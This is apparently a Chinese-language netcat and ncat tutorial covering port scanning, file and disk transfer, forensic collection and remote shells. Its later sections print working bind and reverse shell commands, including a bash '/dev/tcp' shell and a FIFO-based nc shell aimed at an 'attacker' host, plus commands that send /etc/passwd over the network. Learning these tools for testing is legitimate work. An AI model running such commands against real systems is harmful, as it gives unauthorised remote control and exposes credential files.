Feature

  • 网络工具中的瑞士军刀
  • 侦听模式、传输模式
  • Telnet、获取Banner信息
  • 传输即时文本信息、文件、目录
  • 加密传输文件
  • 远程控制、木马
  • 加密所有流量
  • 远程克隆硬盘
  • 流媒体服务器

远程连接

$ nc -nv 192.168.43.218 80
-n 后面跟IP地址,且不做域名解析
-v 显示详细信息内容

信息传输

文本传输

  • 服务端:

    $ nc -l -p 4444
    -l 打开、侦听一个端口
    -p 端口
    
  • 客户端:

    $ nc -nv 192.168.43.218 4444
    Connection to 192.168.43.218 4444 port [tcp/*] succeeded!
    

电子取证

电子取证的原则就是尽量减少在被审计端的操作。

  • 审计端:

    $ nc -l -p 4444 > ps.txt
    
  • 被审计端:

    $ ps aux | nc -nv 192.168.43.8 4444 -q 1
    -q 后面跟秒数,代表传输完成后多少秒断开连接
    

将进程信息由被审计端传到审计端。

文件传输

  • 接受端

    $ nc -lp 4444 > passwd.txt
    
  • 发送端

    $ nc -nv 192.168.43.8 < /etc/passwd -q 1
    

或者:

  • 接收端

    $ nc -q 1 -lp 4444 > passwd.txt
    
  • 发送端

    $ nc -nv 192.168.43.8 4444 < /etc/passwd
    

目录传输

其实就是调用系统其他程序来完成功能的实现,包括下面的加密传输……

  • 发送端

    $ tar -cvf - /var/www/html/dvwa/ | nc -lp 4444 -q 1
    
  • 接受端

    $ nc 192.168.43.218 4444 | tar -xvf -
    

加密传输

  • 接受端

    $ nc -lp 4444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > passwd.txt
    
  • 发送端

    $ mcrypt --flush -Fbq -a rijndael-256 -m ecb < /etc/passwd | nc -nv 192.168.43.8 4444 -q 1
    Enter the passphrase (maximum of 512 characters)
    Connection to 192.168.43.8 4444 port [tcp/*] succeeded!
    Please use a combination of upper and lower case letters and numbers.
    Enter passphrase: 000000
    Enter passphrase: 000000
    

流媒体服务

  • 服务端

    $ cat vlc.mp4 | nc -lp 4444
    
  • 客户端

    $ nc -nv 192.168.43.218 4444 | mplayer -vo x11 -cache 3000 -
    

端口扫描

$ nc -nvz 192.168.43.218 1-1024
-z 端口扫描,无I/O输出模式
$ nc -vnzu 192.168.43.218 1-1024
-u 探测UDP流量,默认TCP

远程硬盘克隆

调用系统命令 dd 来完成硬盘的克隆,从被取证端的 sda 磁盘克隆至取证端的 sda 磁盘。

  • 取证端

    $ nc -lp 4444 | dd of=/dev/sda
    
  • 被取证端

    $ dd if=/dev/sda | nc -nv 192.168.43.218 4444 -q 1
    

远程控制

正向

  • 被控制端

    ubuntu 默认无 -e 参数;首先先修复nc,调出 -e 参数。

    $ sudo rm /etc/alternatives/nc && sudo ln -s /bin/nc.traditional /etc/alternatives/nc
    
    $ nc -lp 4444 -e /bin/bash
    
  • 控制端

    $ nc -nv 192.168.43.218 4444
    

反向

  • 控制端

    $ nc -lp 4444
    
  • 被控制端

    $ nc -nv 192.168.43.8 4444 -e /bin/bash
    

Shell 反弹

实际渗透测试中,目标主机 nc 或可能没有、不支持 -e 参数;这时就需要以下方式:

  • 攻击者(192.168.1.108)

    $ nc -lvvp 4444
    # 两个参数 v 代表显示更详细的信息。
    
  • 目标主机

    $ bash -i >& /dev/tcp/192.168.1.108/4444 0>&1
    

    命令解释:

    bash -i          产生一个交互式shell。
    >&               将联合符号(&)前后内容相结合重定(>)向至后者。
    /dev/tcp/ip/port linux中所有内容(设备、网络等)都被抽象成一个文件的形式而存在,这里意思就是对socket网络连接的一个抽象。
    0>&1        将标准输入和标准输出内容相结合,然后重定向至标准输出内容。
             0 标准输入
               1 标准输出
             2 错误输出 
    

    整条命令的意思就是:bash 产生一个本地交互 shell 主动发起与攻击者(192.168.1.108)4444端口建立连接,重定向 TCP 4444连接到攻击者主机上;且将标准输入与标准输出相结合再次重定向给标准输出。即输入与攻击者输入命令,且接受命令输出!!!(表达能力有限)

    或者:

    $ rm /tmp/reserve;mknod /tmp/reserve p;/bin/bash 0</tmp/reserve | nc 192.168.1.108 4444 1>/tmp/reserve
    

    命令解释:

    mknod 创建管道
    p     创建一个FIFO,FIFO的意思即为先进先出(first-in,first-out)
    

    简单理解:首先先创建一个(先进先出)管道reserve,然后将一个本机交互shell重定向给管道reserve,再然后将输出通过 nc 重定向到攻击者那端,并且将 shell 执行结果重定向至管道reserve

NCAT

NC 缺乏加密和身份验证的能力,营运而出一款支持加密的程序 NCAT;其包含于 NMAP 工具包中。

  • 被控制端

    $ ncat -c bash --allow 192.168.43.8 -vnl 4444 --ssl
    
  • 控制端

    $ ncat -nv 192.168.43.218 4444 --ssl
    

…………

Reference

  • //
  • //

不知所错者